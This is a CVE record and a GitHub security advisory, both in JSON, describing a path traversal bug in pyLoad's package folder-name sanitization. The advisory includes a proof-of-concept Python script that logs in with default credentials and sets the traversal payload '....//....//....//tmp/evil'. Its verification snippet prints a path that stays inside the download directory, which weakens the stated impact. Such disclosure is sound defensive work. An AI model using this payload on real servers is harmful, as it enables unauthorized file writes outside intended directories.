{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42314",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-11T18:33:35.965919Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-11T18:33:46.606Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.0b3.dev100"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev100, package folder names are sanitized using insufficient string replacement. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS. This vulnerability is fixed in 0.5.0b3.dev100."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T16:34:05.918Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
        }
      ],
      "source": {
        "advisory": "GHSA-97r3-5w84-r4q8",
        "discovery": "UNKNOWN"
      },
      "title": "pyLoad: Path Traversal via Package Folder Name"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42314",
    "datePublished": "2026-05-11T16:34:05.918Z",
    "dateReserved": "2026-04-26T12:37:18.169Z",
    "dateUpdated": "2026-05-11T18:33:46.606Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev79"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:13:08Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d \u0026\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains \u0027..\u0027 sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad\u0027s sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content",
  "id": "GHSA-97r3-5w84-r4q8",
  "modified": "2026-05-13T14:18:03Z",
  "published": "2026-05-05T21:13:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42314"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyLoad Vulnerable to Path Traversal via Package Folder Name"
}